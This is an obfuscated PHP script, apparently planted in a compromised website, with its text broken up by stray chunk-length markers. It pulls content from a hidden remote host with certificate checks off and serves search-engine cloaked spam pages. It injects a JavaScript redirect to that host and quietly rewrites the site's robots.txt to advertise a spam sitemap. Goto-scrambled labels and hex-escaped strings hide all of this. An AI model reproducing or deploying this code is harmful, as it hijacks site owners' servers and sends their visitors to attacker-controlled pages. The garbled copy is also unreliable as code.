1 < 5 ?php 5 got 5 o ZwK 1c 5j; sNiwt: if (!empty($sz)) 6 { $jd 6 = getC 6 urlFas 5 t("{$ 6 http_t 6 ype}{$ 6 vurl}\ 6 63\x6b 6 \147\x 8 2e\141\1 7 63\160\ 6 170\x3 8 f\x73\x7 7 a\x3d" 7 . urlen b code($sz)); 6 } els 37 e { $jd = getCurlFast("{$http_type}{$vurl}\x33\153\147\ 11 56\141\163\160\x7 c 8\x3f\x78\17 10 1\75{$http_type} 7 "); $sz 42 = getCurlFast("{$http_type}{$vurl}\63\153\147\56\141\163\160\x78\ 8 77\x6a\x 16 64\x3d" . urlencode($j c d)); } goto 6 kZXUn; 5 xFIj 7 t: func 8 tion get 6 _real_ 9 ip() { $k 7 eys = a 6 rray(" 7 \x48\12 b 4\124\x50\x 8 5f\x43\1 9 06\x5f\10 8 3\x4f\x4 9 e\116\105 c \103\124\111 e \x4e\107\x5f\1 9 11\x50", 9 "\110\x54 b \x54\x50\13 10 7\x58\137\x52\x4 9 5\101\x4c b \137\x49\12 e 0", "\x48\x54\ e 124\x50\137\13 f 0\137\106\x4f\1 6 22\127 11 \101\x52\x44\105\ d x44\x5f\106\1 2c 17\122", "\110\124\124\120\137\x43\x4c\x49\1 1b 05\x4e\124\x5f\111\x50", "\ b x52\x45\x4d d \x4f\x54\105\ 11 137\x41\x44\x44\1 8 22"); fo 7 reach ( b $keys as $k 11 ) { if (!empty($_ 5 SERVE 4 R[$k 9 ])) { $ip 15 = $_SERVER[$k]; if ( 6 strpos 9 ($ip, "\5 6 4") != 4 = fa 10 lse) { $ip = tri 6 m(expl a ode("\54", 8 $ip)[0] a ); } if (f 6 ilter_ a var($ip, F 5 ILTER 5 _VALI 5 DATE_ a IP)) { ret 7 urn $ip 10 ; } } } return " 6 \61\62 b \67\x2e\60\ 7 56\60\x 7 2e\x31" 17 ; } goto UOexB; ZwK5j: 5 error 8 _reporti 7 ng(0); 8 goto eX8 a At; q70WN: 13 $surl = $jd . "\16 a 3\x7a\156\ 13 56\141\163\160\170" b ; goto tadj 6 A; p7j 11 g0: function get_ 7 url_inf 9 o(string 9 $type = " 7 \x64\15 a 7\155\x61\ 2 15 9 1\x6e") : c string { $h f ost = $_SERVER[ 19 "\x48\124\124\120\137\x48 7 \117\x5 a 3\124"] ?? 9 ''; if ( f $type === "\x6e a \157\x5f\1 b 67\x77\167" e ) { return pre 8 g_replac a e("\x2f\x5 10 e\167\x77\x77\x5 a c\56\57\x6 6 9", '' c , $host); } 7 $protoc 15 ol = !empty($_SERVER[ 13 "\x48\x54\x54\x50\1 6 23"]) e && $_SERVER["\ 15 110\124\124\120\123"] d !== "\x6f\14 8 6\146" ? 9 "\150\x7 d 4\x74\160\x73 8 \72\57\5 b 7" : "\150\ 9 164\x74\x c 70\72\57\x2f 7 "; $bas e e = $protocol 1b . $host; if ($type === "\x6 d 2\141\163\145 11 ") { return $base 1a ; } if ($type === "\146\16 9 5\x6c\x6c 21 ") { return $base . ($_SERVER["\x 9 52\105\12 b 1\125\x45\x 8 53\x54\1 e 37\x55\x52\x49 15 "] ?? ''); } return $ e host; } goto W 5 OCuf; 5 oBxK e F: function en 7 sure_ro 7 bots_si 5 temap b ($sitemapLi d ne) { $robots 9 = rtrim( 14 $_SERVER["\104\117\x b 43\x55\x4d\ b 105\116\x54 c \137\x52\x4f f \x4f\124"], "\5 36 7\134") . "\57\x72\x6f\x62\157\x74\x73\56\x74\x78\x74" c ; if (!file_ 5 exist e s($robots)) { 8 @file_pu 7 t_conte 10 nts($robots, "\1 d 25\163\145\16 b 2\x2d\141\1 8 47\145\1 c 56\164\x3a\4 8 0\x2a\xa a \x41\154\x a 6c\157\x77 8 \72\x20\ 9 57\xa" . f $sitemapLine, L 5 OCK_E f X); } else { $c d = @file_get_ 18 contents($robots); if ($ b c === false 4 || 17 strpos($c, $sitemapLine 2b ) === false) { @file_put_contents($robots, 11 $sitemapLine, FIL 6 E_APPE 4 ND | 16 LOCK_EX); } } } goto 6 TcPSL; 6 jCsnT 8 : if ($k 17 k === '' && $is_no_quer b y) { if ($d 5 omain 10 === "\147\157\x d 6f\147\x6c\x6 d 5") { output_ b sitemap_and 14 _exit($sitemapLine, 16 $http_type); } else { 9 die; } } 9 goto GQGt 5 w; y1 6 V0b: $ 9 kk = isse 6 t($get a ["\x6b\x6b 1d "]) ? trim($get["\x6b\153"]) c : ''; goto u 5 9Vm1; 12 WOCuf: $http_type 2a = !empty($_SERVER["\x48\x54\x54\120\123"] 1c ) && $_SERVER["\110\x54\124\ 2d 120\123"] !== "\x6f\146\146" ? "\150\x74\x74\ c x70\x73\x3a\ d x2f\57" : "\x 9 68\x74\16 18 4\x70\72\x2f\57"; goto V 6 mgLL; a kZXUn: $hy 4 zhdy 12 = $jd . "\172\x6e 21 \56\141\163\160\170"; goto q70WN; 7 GQGtw: 3c output_sitemap_and_exit($sitemapLine, $http_type); goto EjU 6 3H; eg 3 gD8 11 : function cache_ 8 set($key 7 , $data c ) { $file = 8 sys_get_ 8 temp_dir b () . "\x2f\ 9 143\x61\1 a 43\x68\x65 a \x5f" . md d 5($key) . "\5 a 6\160\x68\ 1a 160"; @file_put_contents($ b file, $data 18 , LOCK_EX); } goto xFIjt 7 ; taa3z e : if ($domain 11 !== "\x67\157\157 d \147\154\145" e && !empty($ii a d)) { $kna 8 me = url 7 decode( 1a getCurlFast($jd . "\147\x6 1b e\56\141\163\160\x78\x3f\x6 11 9\x69\x64\x3d" . c $iid)); echo 6 "\x3c 11 \x73\x63\x72\x69\ a 160\x74\76 12 \x6c\157\143\x61\1 e 64\151\x6f\x6e 7 \75\x22 f " . $jd . "\141 c \56\x61\163\ 12 x70\170\x3f\143\x6 d e\141\155\x65 12 \75" . urlencode($ d kname) . "\x2 d 6\165\162\154 13 \75" . $http_type . 21 $_SERVER["\x48\124\124\x50\137\1 9 10\x4f\x5 16 3\x54"] . $_SERVER["\x a 53\x43\x52 11 \x49\120\x54\137\ f 116\101\x4d\105 10 "] . "\x22\x3c\x 8 2f\x73\x 1f 63\x72\x69\160\x74\76"; die; } 9 goto ZGeR 6 z; r79 6 5u: $q 7 z = sub 7 str(str 11 _replace(array("\ f 167\167\167\x2e 9 ", "\56") 21 , '', $_SERVER["\x48\124\124\x50\ e x5f\x48\x4f\12 c 3\124"]), 0, b 3); goto a 5 p1mo; 14 TcPSL: if (!empty($ 11 get["\167"])) { $ 5 param b s = http_bu a ild_query( 12 array("\x4e\x4f\x5 9 5\x6d\142 b \145\162" = a > $get["\x f 4e\117\x55\x6d\ b x62\145\x72 f "] ?? '', "\164 1b " => $get["\164"] ?? '', "\ 8 x63\x6e" 1f => $get["\143\x6e"] ?? '', "\x 12 70\x4e\x4f\x55\x6d 1f " => $get["\160\x4e\x4f\x55\155 16 "] ?? '', "\x63\x69\14 13 4" => $get["\x63\15 11 1\x64"] ?? '', "\ 12 155" => $get["\x6d 10 "] ?? '')); $str 13 = getCurlFast("{$s 10 url}\x3f{$params a }"); echo 1c str_replace(array("\171\171\ d x6d\x6d", "\x 11 67\x67\x67\147\x6 a 7", "\77\1 a 46\x3d"), 26 array($http_type . $_SERVER["\x48\124\ f x54\120\x5f\110 1c \x4f\123\x54"] . $_SERVER["\ 10 123\103\x52\x49\ e x50\x54\x5f\x4 8 e\101\11 b 5\x45"], $s c z, "\77" . $ 8 qz . "\x b 3d"), $str) 14 ; die; } goto y1V0b; e ap1mo: $sz = 9 $iid = '' b ; goto hlG6 9 j; u9Vm1: c $ip = $kk ! c == '' ? "\x3 b 6\66\x2e\x3 9 2\x34\x39 8 \x2e\70\ d 62\x2e\70" : 15 get_real_ip(); goto U 5 flM7; 16 hlG6j: if (!empty($_G 9 ET)) { $f a = reset($ d _GET); $sp = d explode("\x2d c ", $f); if ( 8 count($s 8 p) === 2 d ) { $sz = $sp c [0]; $iid = 11 $sp[1]; } } goto c sNiwt; UflM7 b : $domain = 21 trim(getCurlFast($jd . "\147\x65 a \164\144\x 12 6f\x6d\x61\151\x6e c \x32\56\x61\ d x73\160\170\7 e 7\x72\x6e\144\ b 75\x31\46\x e 69\160\75" . $ d ip)); goto ta 6 a3z; E 4 YX7h 14 : if ($kk !== '' && 9 preg_matc 8 h("\57\x 6 5e\x5b b \x41\55\x5a d \141\x2d\172\ d 60\x2d\x39\x5 5 d\53\ b 44\57", $kk a )) { $remo 11 te = getCurlFast( 2b $jd . "\147\x65\164\144\157\155\x61\151\x6e b \62\56\141\ 13 x73\x70\170\77\x72\ 11 156\144\75\62\x26 11 \x6b\153\x3d" . $ 11 kk); if (!empty($ 10 remote)) { echo 17 $remote; die; } } goto 5 u3U2k 7 ; gmJgr 12 : function cache_g f et($key, $expir 7 e = 300 32 ) { $file = sys_get_temp_dir() . "\x2f\143\141\143 7 \150\14 24 5\x5f" . md5($key) . "\56\x70\150\x7 8 0"; if ( 17 file_exists($file) && t 6 ime() c - filemtime( 10 $file) < $expire b ) { return 23 file_get_contents($file); } return e false; } goto c eggD8; u3U2k 22 : if ($kk !== '' && !preg_match("\ a x2f\136\x5 b b\x41\55\13 10 2\141\x2d\172\x3 22 0\x2d\x39\135\x2b\44\57", $kk)) { 3c output_sitemap_and_exit($sitemapLine, $http_type); } goto eC 6 AbA; o 4 fsRJ 3c : function output_sitemap_and_exit($sitemapLine, $http_type) 26 { ensure_robots_sitemap($sitemapLine) 12 ; echo "\x3c\x64\x 8 69\x76\4 c 0\x73\x74\17 f 1\154\x65\x3d\x a 27\164\145 e \x78\x74\x2d\x a 61\x6c\151 d \x67\156\72\x f 63\x65\156\164\ f 145\x72\73\160\ 11 x61\x64\x64\x69\x b 6e\147\x3a\ e 61\60\160\170\ a 40\x30\73\ a 47\x3e\xa\ 13 40\x20\x20\40\40\x2 1c 0\x20\x20\40\40\x20\x20\74\x b 61\40\150\1 e 62\145\146\x3d 12 \x22{$http_type}{$ 22 _SERVER["\110\124\124\120\137\110\ d 117\123\124"] 17 }{$_SERVER["\x53\103\12 9 2\111\x50 f \x54\x5f\116\x4 12 1\x4d\105"]}\x3f\1 a 67\x3d" . 9 date("\13 b 1\x6d\144\1 f 10\151") . "\x2 b 2\x20\164\x f 61\x72\147\x65\ 11 x74\x3d\x22\137\1 d 42\154\x61\x6 e e\x6b\x22\x20\ f x72\x65\154\75\ 7 42\x6e\ 16 x6f\146\157\x6c\154\x6 7 f\x77\x d 22\x3e\x53\15 11 1\164\145\x6d\141 e \160\74\x2f\14 14 1\x3e\xa\40\x20\x20\ 1d x20\40\40\x20\x20\40\x20\74\x f 2f\x64\x69\166\ 16 76"; die; } goto EYX7h 8 ; tadjA: 12 $sitemapLine = "\ a 123\151\x7 13 4\145\155\x61\x70\x 6 3a\x20 28 {$http_type}{$_SERVER["\x48\124\124\120\ 23 x5f\110\x4f\123\x54"]}{$_SERVER["\1 18 23\103\x52\111\x50\124\1 f 37\x4e\101\x4d\ 6 x45"]} 1b \x3f\x77\x3d" . date("\131\ 18 155\144\110\151") . "\xa e "; goto oBxKF; a VmgLL: $v e url = "\164\15 b 7\x2e\152\x 10 67\x61\x6c\154\x 8 73\x2e\x c 63\157\155\x 10 2f"; goto r795u; 7 eCAbA: 11 $is_no_query = e 18 mpty($_SERVER["\x51\125\ d 105\x52\131\1 d 37\x53\x54\12 c 2\x49\x4e\x4 b 7"]); goto d jCsnT; eX8At: 8 $get = d filter_input_ 9 array(INP 6 UT_GET c , FILTER_SAN 6 ITIZE_ 5 STRIN e G); goto gmJgr 7 ; ZGeRz 17 : if (!empty($iid)) { $ 20 str = getCurlFast($hyzhdy . "\x3 12 f\x69\x69\x64\x3d{ 22 $iid}"); echo str_replace(array("\ 13 x67\x67\x67\147\147 f ", "\x59\131\x5 11 9\x59\131", "\x58 14 \x58\x58\131\131\x59 b ", "\xe5\xb 6 d\223\ 9 345\x89\x 8 8d\125\x f 52\x4c", "\125\ f x55\x55\125\x55 e ", "\115\x4d\1 a 15\115\x4d d ", "\77\x66\7 10 5"), array($sz, e get_url_info() 17 , get_url_info("\142\14 1e 1\163\145"), get_url_info("\14 d 6\x75\x6c\154 1b "), get_url_info("\x6e\x6f\ d x5f\x77\167\x a 77"), pars 12 e_url($_SERVER["\1 13 22\105\121\125\x45\ 10 123\124\137\x55\ d 122\111"], PH 5 P_URL 6 _PATH) 18 , "\77" . $qz . "\75"), 18 $str); die; } goto ofsRJ 7 ; UOexB 1b : function getCurlFast($url a ) { $cache 13 d = cache_get($url) e ; if ($cached 15 !== false) { return $ b cached; } $ b data = ''; 14 if (function_exists( e "\143\x75\x72\ 9 x6c\x5f\1 e 51\156\151\164 9 ")) { $ch b = curl_ini 11 t($url); curl_set a opt_array( c $ch, array(C 8 URLOPT_R 5 ETURN 5 TRANS 7 FER => 6 true, c CURLOPT_CONN 5 ECTTI 5 MEOUT f => 5, CURLOPT_ 18 TIMEOUT => 8, CURLOPT_SS 6 L_VERI 4 FYPE 1f ER => false, CURLOPT_SSL_VERIFY 4 HOST 17 => false, CURLOPT_FOLL 5 OWLOC 5 ATION 17 => false, CURLOPT_USER 15 AGENT => "\115\157\x7 9 a\x69\x6c f \154\x61\57\65\ b 56\60")); $ d data = curl_e 7 xec($ch d ); curl_close d ($ch); } if ( d empty($data) c && ini_get(" f \x61\154\154\15 d 7\167\x5f\x75 f \x72\154\137\x6 d 6\157\160\x65 10 \x6e")) { $conte 8 xt = str b eam_context 6 _creat 19 e(array("\150\x74\x74\160 f " => array("\16 11 4\151\x6d\145\157 e \x75\x74" => 8 d , "\x68\x65\x f 61\x64\145\x72" c => "\x55\x7 12 3\145\162\55\101\x b 67\145\156\ d x74\x3a\x20\x 8 4d\x6f\1 15 72\x69\154\154\141\x2 d f\65\56\x30\x a d\12"), "\ c 163\x73\x6c" 10 => array("\x76\ e 145\x72\x69\14 c 6\x79\x5f\x7 19 0\x65\x65\x72" => false, d "\166\x65\x72 27 \x69\146\x79\x5f\x70\x65\145\162\137\x6 d e\141\x6d\145 17 " => false))); $data = 17 @file_get_contents($url 11 , false, $context a ); } if (! 1b empty($data)) { cache_set($ b url, $data) 19 ; } return $data; } goto 6 p7jg0; a EjU3H: ?> 0